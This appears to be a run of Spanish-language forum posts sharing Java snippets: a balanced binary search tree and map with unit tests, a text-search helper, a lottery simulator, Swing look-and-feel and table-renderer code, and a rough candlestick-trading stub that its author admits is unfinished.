     * Searches if an item is inside the BalancedBinarySearchTree.
     * @param item Item to search for.
     * @return the Item if found else null.
     */
    public T find(T item)
    {
        return rootNode == null ? null : rootNode.find(item);
    }

    /**
     * Tree node of the BalancedBinarySearchTree
     * @param <T> Type of the values to store inside the node.
     */
    protected class BalancedBinarySearchTreeNode<T extends Comparable<T>> {

        /**
         * Item stored inside the BalancedBinarySearchTreeNode.
         */
        public T item;

        /**
         * Child Nodes.
         */
        public BalancedBinarySearchTreeNode<T> left, right; // left and right child

        /**
         * Number of items stored inside the node and all subnodes.
         */
        public int count;

        /**
         * Height of this subtree.
         */
        public int height;

        /**
         * Creates a new instance of type BalancedBinarySearchTreeNode.
         * @param item Item to store inside this node.
         */
        public BalancedBinarySearchTreeNode(T item) {
            left = null;
            right = null;
            this.item = item;
            count = 1;
            height = 1;
        }

        /**
         * Add the item to this subtree.
         * @param item item to put.
         */
        public void put(T item) {
            // Compare the item to put with the stored item.
            int comparison = item.compareTo(this.item);

            // Override the stored item if the comparison is 0
            if (comparison == 0) {
                this.item = item;
                // Only the stored element was overridden so there is no change to count and height and
                // no need to balance the tree.
                return;
            }

            if (comparison < 0) {
                // Store the item on the left side.
                if (left == null)
                    left = new BalancedBinarySearchTreeNode<>(item);
                else
                    left.put(item);
            } else {
                // Store the item on the right side.
                if (right == null)
                    right = new BalancedBinarySearchTreeNode<>(item);
                else
                    right.put(item);
            }

            // Increase count by one
            count++;

            // Balance the tree.
            balance();
        }

        /**
         * Check the balance of the tree and rebalance it if required.
         */
        private void balance()
        {
            if ((left == null) && (right == null))
            {
                height = 1;
                return;
            }

            int leftHeight = (left != null) ? left.height : 0;
            int rightHeight = (right != null) ? right.height : 0;

            if (leftHeight + 2 <= rightHeight)
                turnLeft();

            if (rightHeight + 2 <= leftHeight)
                turnRight();

            reCalculate();
        }

        /**
         * Switch the Elements to the left
        **/
        private void turnLeft()
        {
            // First switch the items of this element with the right item
            T temp = item;
            item = right.item;
            right.item = temp;

            // Now set the references correctly
            BalancedBinarySearchTreeNode<T> tempNode = right;
            right = tempNode.right;
            tempNode.right = tempNode.left;
            tempNode.left = left;
            left = tempNode;

            left.reCalculate();
            if (right != null) right.reCalculate();
        }

        /**
         * Switch the elements to the right
        **/
        private void turnRight()
        {
            // First switch the items of this element with the right item
            T temp = item;
            item = left.item;
            left.item = temp;

            // Now set the references correctly
            BalancedBinarySearchTreeNode<T> tempNode = left;
            left = tempNode.left;
            tempNode.left = tempNode.right;
            tempNode.right = right;
            right = tempNode;

            if (left != null)
                left.reCalculate();
            right.reCalculate();
        }

        /**
         * Calculate Height and Count of this node
        **/
        private void reCalculate()
        {
            // Set Count
            count = 1 + (left == null ? 0 : left.count) + (right == null ? 0 : right.count);

            // Set Height
            int leftHeight = (left != null) ? left.height : 0;
            int rightHeight = (right != null) ? right.height : 0;
            height = ((leftHeight > rightHeight) ? leftHeight : rightHeight) + 1;
        }

        /**
         * Remove the specified item.
         * @param item Item to remove.
         * @return the removed item.
         */
        public T remove(T item)
        {
            // Compare with stored item
            int compare = item.compareTo(this.item);

            T value = null;

            if (compare < 0)
            {
                // We have to search it on the left side.
                if (left == null)
                    return null; // Not found.
                else
                {
                    value = left.remove(item);

                    if (left.item == null)
                        left = null;
                }
            } else if (compare > 0)
            {
                // We have to search it on the right side.
                if (right == null)
                    return null; // Not found
                else
                {
                    value = right.remove(item);
                    if (right.item == null)
                        right = null;
                }
            } else
            {
                // Get an item from below if possible.
                value = this.item;
                this.item = null;
                dive();
            }

            reCalculate();
            return value;
        }

        /**
         * The node with the null value is diving to the bottom of the tree and is removed afterwards.
         */
        private void dive() {
            if (right == null && left == null) {
                return;
            } else if (right == null) {
                diveLeft();
            } else if (left == null) {
                diveRight();
            } else {
                if (right.height > left.height) {
                    diveLeft();
                } else {
                    diveRight();
                }
            }
            balance();
        }

        /**
         * Continue diving on the left child.
         */
        private void diveLeft() {
            item = left.item;
            left.item = null;
            left.dive();
            if (left.item == null)
                left = null;
        }

        /**
         * Continue diving on the right child.
         */
        private void diveRight() {
            item = right.item;
            right.item = null;
            right.dive();
            if (right.item == null)
                right = null;
        }

        public T find(T key)
        {
            // Compare with stored item
            int compare = key.compareTo(item);

            // Items are equal -> Throw exception
            if (compare == 0)
                return item;

            if (compare < 0)
            {
                // We have to search it in the left subtree.
                return left == null ? null : left.find(key);
            }

            // We have to search it in the right subtree.
            return right == null ? null : right.find(key);
        }

        /**
         * Check the subtree. Should always return true.
         * @return Should always return true. If it returns false, something went wrong.
         */
        public boolean check()
        {
            // Store the height of child-trees
            int leftHeight = 0;
            int rightHeight = 0;

            // Check the left child
            if (left != null)
            {
                // Recursive check!
                if (!left.check()) return false;

                // Check sorting of values
                if (item.compareTo(left.item) <= 0)
                    return false;

                leftHeight = left.height;
            }

            // Check the right child
            if (right != null)
            {
                // Recursive check!
                if (!right.check()) return false;

                // Check sorting of values
                if (item.compareTo(right.item) >= 0)
                    return false;

                rightHeight = right.height;
            }

            // Compare Heights
            if ((rightHeight - leftHeight > 1) || (leftHeight - rightHeight > 1))
                return false;

            // Last Check: Control Count
            return count == 1 + (left == null ? 0 : left.count) + (right == null ? 0 : right.count);
        }
    }
}


Por supuesto, esto también se puede utilizar para un Map. Entonces, en primer lugar, para el mapa vale aquí en este punto, que otra vez Key también tiene que implementar Comparable<Key> como restricción.
Código: java

package de.kneitzel.lib.collections;

/**
* Dictionary which uses the Balanced Binary Search Tree.
*/
public class BTreeMap<K extends Comparable<K>, V>  {

    /**
     * A set of key and value to store the dictionary data inside the BTree.
     * @param <K> Key type.
     * @param <V> Value type.
     */
    protected class DataSet<K extends Comparable<K>, V> implements Comparable<DataSet<K,V>>{
        public K key;
        public V value;

        public DataSet(K key) {
            this.key = key;
        }

        public DataSet(K key, V value) {
            this.key = key;
            this.value = value;
        }

        /**
         * Compare the keys of the DataSets
         * @param data The data to compare with.
         * @return The result of the key comparisons.
         */
        public int compareTo(DataSet<K,V> data) {
            return key.compareTo(data.key);
        }
    }

    private BalancedBinarySearchTree<DataSet<K,V>> values = new BalancedBinarySearchTree<>();

    /**
     * Get the value of a key.
     * @param key Key for which the value is looked up.
     * @return The value or null.
     */
    public V get(K key) {
        DataSet<K,V> valueSet =  values.find(new DataSet<K,V>(key));
        return valueSet != null ? valueSet.value : null;
    }

    /**
     * Checks if the Dictionary is empty.
     * @return true if the dictionary is empty, else true.
     */
    public boolean isEmpty() {
        return values.size() == 0;
    }

    /**
     * Put a new (key, value) pair into the dictionary. If the key already exists, the value will be changed.
     * @param key Key to use.
     * @param value Value to store.
     * @return
     */
    public V put(K key, V value) {
        values.put(new DataSet<K,V>(key, value));
        return value;
    }

    /**
     * Removes the (key, value) pair of the given key.
     * @param key Key of the (key, value) pair that should be removed.
     * @return The value of the key removed or null if not found.
     */
    public V remove(K key) {
        DataSet<K,V> value = values.remove(new DataSet(key, null));
        return value!=null ? value.value : null;
    }

    /**
     * Gets the number of elements stored inside the dictionary.
     * @return Number of elements stored inside the dictionary.
     */
    public int size() {
        return values.size();
    }
}


Quizás queramos deshacernos ahora de esa estúpida restricción en K extends Comparable<K>. Lo que se tiene que hacer ahora es solo:
a) Creamos un DataListNode <K> que recoge un elemento de K y que contiene una referencia a un DataListNode <K>.
b) Creamos un DataNode <K> que implementa Comparable <DataNode <K >> y
- que contiene el código hash
- Compare va por el código hash
- que contiene DataListNode<K>.
A continuación, su puede guardarlo en el árbol. Pero entonces las operaciones corren algo diferente:
Si se busca un elemento, se busca primero un algoritmo conocido. Pero al final se tiene un DataListNode <K> y luego se tiene que seguir buscando en el (puede dar varios elementos con un código hash). Entonces es similar para todas las demás operaciones.
Pero debo admitir que estas todavía tienen que ser implementadas.
Y al final las pruebas unitarias actuales:
Código: java

package de.kneitzel.lib.tests;

import static org.junit.Assert.*;

import de.kneitzel.lib.collections.BalancedBinarySearchTree;
import de.kneitzel.lib.collections.BTreeMap;

import org.junit.Test;
/**
* Tests for de.kneitzel.lib.collections
*/
public class CollectionsTests {

    @Test
    public void BalancedBinarySearchTreeTest()
    {
        BalancedBinarySearchTree<String> tree = new BalancedBinarySearchTree<>();
        assertTrue(tree.check());
        assertEquals(tree.size(), 0);
        assertEquals(tree.put("aaa"), "aaa");
        assertTrue(tree.check());
        assertEquals(tree.size(), 1);
        assertEquals(tree.put("bbb"), "bbb");
        assertTrue(tree.check());
        assertEquals(tree.size(), 2);
        assertEquals(tree.put("ccc"), "ccc");
        assertTrue(tree.check());
        assertEquals(tree.size(), 3);
        assertEquals(tree.put("ddd"), "ddd");
        assertTrue(tree.check());
        assertEquals(tree.size(), 4);
        assertEquals(tree.put("eee"), "eee");
        assertTrue(tree.check());
        assertEquals(tree.size(), 5);
        assertEquals(tree.put("xxx"), "xxx");
        assertTrue(tree.check());
        assertEquals(tree.size(), 6);
        assertEquals(tree.put("yyy"), "yyy");
        assertTrue(tree.check());
        assertEquals(tree.size(), 7);
        assertEquals(tree.put("zzz"), "zzz");
        assertTrue(tree.check());
        assertEquals(tree.size(), 8);
        assertEquals(tree.put("iii"), "iii");
        assertTrue(tree.check());
        assertEquals(tree.size(), 9);
        assertEquals(tree.put("jjj"), "jjj");
        assertTrue(tree.check());
        assertEquals(tree.size(), 10);
        assertEquals(tree.find("aaa"), "aaa");
        assertEquals(tree.find("bbb"), "bbb");
        assertEquals(tree.find("ccc"), "ccc");
        assertEquals(tree.find("ddd"), "ddd");
        assertNull(tree.find("fff"));
        try {
            assertEquals(tree.remove("ccc"), "ccc");
            assertEquals(tree.size(), 9);
        } catch (Exception e)
        {
            fail("Shouldn't throw an exception!");
        }
        assertNull(tree.find("ccc"));
        assertEquals(tree.find("aaa"), "aaa");
        assertEquals(tree.find("bbb"), "bbb");
        assertEquals(tree.find("ddd"), "ddd");
    }

    @Test
    public void BTreeMapTest() {
        BTreeMap<String, String> map = new BTreeMap<>();
        assertTrue(map.isEmpty());
        assertEquals(map.size(), 0);
        assertNull(map.get("test"));
        assertEquals(map.put("aaa", "AAA"), "AAA");
        assertEquals(map.size(), 1);
        assertFalse(map.isEmpty());
        assertEquals(map.get("aaa"), "AAA");
        assertFalse(map.isEmpty());
        assertEquals(map.remove("aaa"), "AAA");
        assertEquals(map.size(), 0);
        assertTrue(map.isEmpty());
        assertEquals(map.put("aaa", "AAA"), "AAA");
        assertEquals(map.size(), 1);
        assertFalse(map.isEmpty());
        assertEquals(map.put("bbb", "BBB"), "BBB");
        assertEquals(map.size(), 2);
        assertFalse(map.isEmpty());
        assertEquals(map.put("ccc", "CCC"), "CCC");
        assertEquals(map.size(), 3);
        assertFalse(map.isEmpty());
        assertEquals(map.put("ddd", "DDD"), "DDD");
        assertEquals(map.size(), 4);
        assertFalse(map.isEmpty());
        assertEquals(map.put("eee", "EEE"), "EEE");
        assertEquals(map.size(), 5);
        assertFalse(map.isEmpty());
        assertNull(map.get("fff"));
        assertNull(map.remove("fff"));
        assertEquals(map.get("aaa"), "AAA");
        assertFalse(map.isEmpty());
        assertEquals(map.get("bbb"), "BBB");
        assertFalse(map.isEmpty());
        assertEquals(map.get("ccc"), "CCC");
        assertFalse(map.isEmpty());
        assertEquals(map.get("ddd"), "DDD");
        assertFalse(map.isEmpty());
        assertEquals(map.get("eee"), "EEE");
        assertFalse(map.isEmpty());
        assertEquals("BBB", map.remove("bbb"));
        assertFalse(map.isEmpty());
        assertEquals("CCC", map.remove("ccc"));
        assertFalse(map.isEmpty());
        assertEquals(map.remove("ddd"), "DDD");
        assertFalse(map.isEmpty());
        assertEquals(map.remove("aaa"), "AAA");
        assertFalse(map.isEmpty());
        assertEquals(map.remove("eee"), "EEE");
        assertTrue(map.isEmpty());
        assertNull(map.get("fff"));
        assertNull(map.remove("fff"));
    }
}


Saludos
#74
Hola a todos,

Código: java

public class CandleStickAnalyse {

    public static void main(String[] args) {
        // TODO Auto-generated method stub
    double mystoploss=0;
    double mytarget=0;
    double myfill=0;
    double bar=0;
    double valorcomercial=0;
    double [] open= new double[2];
    double [] close= new double[2];
    double[] buyarray=new double[2];
    double[] sellarray= new double[2];
    boolean redcandle;
    boolean greencandle;
    //
    if (stoploss<=bar<=mytarget) {
    //if you have a red candle, buy at start of next bar
   //(Fijar los criterios de compra o de mercado de entrada):
    if (redcandle=true) {
    if (close[0]<open[0]) {
        // buy next bar at market
        buy(valorcomercial);
        //...
        // En close y open hay precios de apertura y de cierre nuevos y viejos
    }
    //if we are in a position and have a green candle, get out\\
    //Fijar los criterios de salidas de ventas o del mercado, si en condición de posición
    if(greencandle=true) {
        if (close[0]>open[0])&(valorcomercial>0) {
        //if we are in a position and have a green candle, get out
        sell(valorcomercial);
    }
    }

    void buy() {
           buyarray[1]=valorcomercial;
    }

    void sell() {
        sellarray[1]=valorcomercial;
    }
       
    }

}

}
}

// Probablemente falta mucho aquí, pero esto es un proyecto de diversión ;)


Saludos
#75
Dudas y pedidos generales / AIDE - Modo promiscuo
Abril 11, 2019, 05:29:25 PM
Hola a todos,

cómo puedo poner en mi Android con java el modo promiscuo?


Muchas gracias y saludos
#76
Java / Buscar en TextArea y resaltar la referencia
Abril 11, 2019, 05:10:01 PM
Hola a todos,

en el caso en el que alguien quiera buscar con gusto algo en un JTextArea:

El TextArea necesita un KeyListener:
Código: java

jTextArea1.addKeyListener(new java.awt.event.KeyListener() {

            @Override
            public void keyTyped(KeyEvent e) {
               
            }

            @Override
            public void keyPressed(KeyEvent e) {
             
     }

            @Override
            public void keyReleased(KeyEvent e) {
                if (e.getKeyCode() == 114) {
                    seguirbuscando();
                }
            }
        });


En este caso, "palabraclave" es una variable global.
Como alternativa, en lugar de eso, se podría aplicar:
Código: java

private void seguirbuscando(String palabraclave) {

}


y en el KeyEvent
Código: java

if (e.getKeyCode() == 114) {
                    seguirbuscando(palabraclave);
                }

incorporar la palabra clave en la llamada del metodo


El metodo seguirbuscando() como sigue:
Código: java

        private void seguirbuscando() {
        int posicioncursor = jTextArea1.getCaretPosition();
        if (posicioncursor == jTextArea1.getText().length()) {
            posicioncursor = 0 -palabraclave.length();
        }
        posicioncursor = posicioncursor + CursorNext(palabraclave);
        jTextArea1.setCaretPosition(posicioncursor);

        jTextArea1.select(posicioncursor, posicioncursor + palabraclave.length());
    }


Y para llegar a la siguiente referencia esta definido el metodo CursorNext():
Código: java

        private int CursorNext(String busqueda) {
        String b;
        try {
            b = jTextArea1.getText().toLowerCase().substring(jTextArea1.getCaretPosition() + busqueda.length());
        } catch (Exception e) {
            b = jTextArea1.getText().toLowerCase();
            jTextArea1.setCaretPosition(0);
        }
        int posicioncursor = (busqueda + b.split(busqueda.toLowerCase())[0]).length();
        return posicioncursor;

    }


El KeyEvent con getKeyCode() 114 representa al boton F3


Saludos
#77
Hola a todos,

elementos usados:
Escáner – Entrada de usuario
Generar Random – Números aleatorios
Exception try-catch
Label-continue
Bucle foreach
BigInteger para números muy grandes
Metodos
Código: java

public class loteria {

    public static void main(String[] args){
     
        int givenValue[] = new int[6];
        int randomValue[] = new int[6];
        int hits = 0;            //para números encontrados

        givenValue = determineGivenNumbers();    //Metodo para UserInput
        randomValue = determineRandomNumbers();    //Metodo para generar números aleatorios
        hits = checkForEquality(givenValue, randomValue);    //Comprueba los Arrays en igualdad

        printArrays(givenValue, randomValue, hits);        //Da los Arrays y los blancos hallados
        binomialcoeficiente();        //Calcular la probabilidad de 6 blancos de 49
    }

/*----------------------------UserInput---------------------------------------*/
    public static int[] determineGivenNumbers(){
     
        int givenValue[] = new int[6];
        Scanner scan = new Scanner(System.in);
        int checkGivNumber = 0;        //Para que no se pueda ingresar números iguales
        boolean numOrLetter = false;//Para que no se pueda ingresar letras
     
        System.out.println("Please enter six numbers 1-49!");
     
        Böö: for(int i=0; i<givenValue.length; i++){
            do{
                try{
                    numOrLetter = false;
                    checkGivNumber = scan.nextInt();
                }catch(Exception e){
                    System.err.println("Please enter a valid number! " + e.toString());
                    scan.nextLine();
                    numOrLetter = true;        //Error si se ingresa una letra; preguntar de nuevo
                }
                if(checkGivNumber <= 0 || checkGivNumber > 49) System.err.println("Please give a number in the specifield range!");
            }while(checkGivNumber <= 0 || checkGivNumber > 49 || numOrLetter == true);
         
            for(int j=0; j<i; j++){
                if(givenValue[j] == checkGivNumber){    //Por si el número se ingresó dos veces
                    System.err.println("The entered number is already exists!");
                    System.out.println("Please enter a new number!");
                    i--;    //Entonces cuando el mismo número no sigue iterando el bucle for                   
continue Böö;            //Entonces ve hacia Böö, entonces despues de continue no se ejecuta mas nada
                }
            }
            givenValue[i] = checkGivNumber;
        }
     
        Arrays.sort(givenValue);
     
        return givenValue;
    }
/*----------------------------------------------------------------------------*/
 
/*--------------------------Random Números aleatorios----------------------------*/
    public static int[] determineRandomNumbers(){
     
        int randomValue[] = new int[6];
        Random rNumber = new Random();
        int checkRanNumber = 0;        //Para que no se generen números random iguales
     
        Böö: for(int i=0; i<randomValue.length; i++){
            checkRanNumber = rNumber.nextInt(49)+1;
            for(int j=0; j<i; j++){
                if(randomValue[j] == checkRanNumber){ 
                    i--;
                    continue Böö;                     
                }
            }
            randomValue[i] = checkRanNumber;
        }
     
        Arrays.sort(randomValue);
     
        return randomValue;
    }
/*----------------------------------------------------------------------------*/
 
/*------------------------Comprobar Arrays en igualdad------------------------*/
    public static int checkForEquality(int givenValue[], int randomValue[]){
        int hits = 0;
        //Comprobar en Array cuantos números son iguales
        for(int j=0; j<randomValue.length; j++){
            for(int i=0; i<givenValue.length; i++){
                if(givenValue[i] == randomValue[j]){
                    hits++;
                }
            } 
        }
        return hits;
    }
 
/*----------------------------------------------------------------------------*/
 
/*-----------------Dar los Arrays y los blancos hallados -------------------*/
    public static void printArrays(int givenValue[], int randomValue[], int hits){
        for(int i : givenValue){
            System.out.print(i + "\t");
        }
        System.out.println();
        for(int i : randomValue){
            System.out.print(i + "\t");
        }
        System.out.println("You have " + hits + " hits!");
    }
/*----------------------------------------------------------------------------*/
 
/*-----------Calcular la probabilidad de 6 de 49 blancos ------------*/
    public static void binomialcoeficiente(){
     
        BigInteger result = BigInteger.ONE;
        int n = 49;
        int k = 6;
     
        result = faculty(n).divide(faculty(k).multiply((faculty(n-k))));
        System.out.println("The propability for six correct hits are 1 : " + result);
        double d1 = result.doubleValue();    //Convertir el valor BigIntegerden en double
        System.out.println(1/d1 + " %");    //Para que pueda ser especificado en porción %
    }
 
    //Al mismo tiempo los objetos BigInteger se harán tan grandes,
    //como los respectivos resultados necesitan espacio
    public static BigInteger faculty(int number){
        if(number <= 1) return BigInteger.ONE;
        return BigInteger.valueOf(number).multiply(faculty(number-1));
        //BigInteger.valueOf(long val) produce un BigInteger que acepta el valor val
        //Con .multiply se hace this * multiply(número)
    }
}


Saludos
#78
Hola,

al tratar de compilar la App me sale el error que esta escrito en el titulo de este post. Ese error me sale en el archivo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta cuyo codigo es el siguiente:

Código: java

package com.example.myapplication;
import android.os.Bundle;
import android.view.View;
import android.app.Activity;

public class Bienvenido extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_Bienvenido);
    }
}



El error me sale de esta linea:

setContentView(R.layout.activity_Bienvenido);


No se porque es asi ya que mi archivo activity_Bienvenido.xml esta correctamente en la carpeta en donde deberia de estar.

Les paso el proyecto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Alguien me podria ayudar?


Gracias y saludos
#79
Hola,

primero se coloca una clase (estatica) que trae y proporciona el LookAndFeels:

Código: java

public class LookAndFeel
{
private static ArrayList<LookAndFeelInfo> installedLookAndFeels=new ArrayList<>();

static
{
Collections.addAll(installedLookAndFeels,UIManager .getInstalledLookAndFeels());
}


public static ArrayList<LookAndFeelInfo> getInstalledLookAndFeels()
{
return installedLookAndFeels;
}

public static String getLookAndFeelClassByName(String name)
{
for(LookAndFeelInfo lookAndFeelInfo:installedLookAndFeels)
{
if(lookAndFeelInfo.getName().equalsIgnoreCase(name ))
{
return lookAndFeelInfo.getClassName();
}
}
return UIManager.getSystemLookAndFeelClassName();
}

}



Por ejemplo, para mostrar todos los valores de un Combobox para la elección, se llena
el Combobox como sigue:

Código: java

private javax.swing.JComboBox<String> lfComboBox;
...
lfComboBox = new javax.swing.JComboBox<String>();
lfComboBox.setModel(new DefaultComboBoxModel<String>());

.....

for(LookAndFeelInfo value:LookAndFeel.getInstalledLookAndFeels())
{
lfComboBox.addItem(value.getName());
}


El cambiar del LookAndFeel para el tiempo de ejecución:


Código: java

try
{
//Colocar el LookAndFeel que se elige en el ComboboxDas en el UIManager
UIManager.setLookAndFeel(LookAndFeel.getLookAndFee lClassByName((String)lfComboBox.getSelectedItem()) );
//Ejecutar una actualización para todos los JFrames, JDialoge e. o, que estan activos o que quedan como instancias
SwingUtilities.updateComponentTreeUI(XXXXXXXX);
//Opcional
pack();
}
catch(ClassNotFoundException|InstantiationExceptio n|IllegalAccessException|UnsupportedLookAndFeelExc eption ex)
{
ex.printStackTrace();
}


Saludos
#80
Java / Retazo: JTable -> TableCellRenderer
Diciembre 16, 2018, 04:31:24 PM
Ejemplo de un renderizador para alineación del texto, colores, frontera y fuente:

Código: java

public class AlignTableCellRenderer extends DefaultTableCellRenderer.UIResource
{
private DefaultTableCellRenderer renderizador;
private int horizontalAlignment=SwingConstants.CENTER;
private Color foregroundColor=null;
private Color backgroundColor=null;
private Border frontera=null;
private int fontstyle=Font.PLAIN;

public AlignTableCellRenderer(JTable table)
{
renderizador=(DefaultTableCellRenderer)table.getTableH eader().getDefaultRenderer();
}

public AlignTableCellRenderer(JTable table,int horizontalAlignment)
{
this(table);
this.horizontalAlignment=horizontalAlignment;
}

public AlignTableCellRenderer(JTable table,int horizontalAlignment,Color foregroundColor)
{
this(table);
this.horizontalAlignment=horizontalAlignment;
this.foregroundColor=foregroundColor;
}

public AlignTableCellRenderer(JTable table,int horizontalAlignment,int fontstyle,Color foregroundColor)
{
this(table);
this.horizontalAlignment=horizontalAlignment;
this.foregroundColor=foregroundColor;
this.fontstyle=fontstyle;
}

public AlignTableCellRenderer(JTable table,int horizontalAlignment,Border frontera)
{
this(table);
this.horizontalAlignment=horizontalAlignment;
this.frontera=frontera;
}

public AlignTableCellRenderer(JTable table,Border frontera)
{
this(table);
this.frontera=frontera;
}

public void setForegroundColor(Color foregroundColor)
{
this.foregroundColor=foregroundColor;
}

public void setBackgroundColor(Color backgroundColor)
{
this.backgroundColor=backgroundColor;
}

public void setFontstyle(int fontstyle)
{
this.fontstyle=fontstyle;
}

@Override
public Component getTableCellRendererComponent(JTable table,Object value,boolean isSelected,boolean hasFocus,int row,int column)
{
JLabel label=(JLabel)renderizador.getTableCellRendererCompone nt(table,value,isSelected,hasFocus,row,column);
label.setHorizontalAlignment(horizontalAlignment);
label.setFont(label.getFont().deriveFont(fontstyle ));
if(foregroundColor!=null)
{
label.setForeground(foregroundColor);
}
if(backgroundColor!=null)
{
label.setBackground(backgroundColor);
}
if(frontera!=null)
{
label.setBorder(frontera);
}
return label;
}

}


Saludos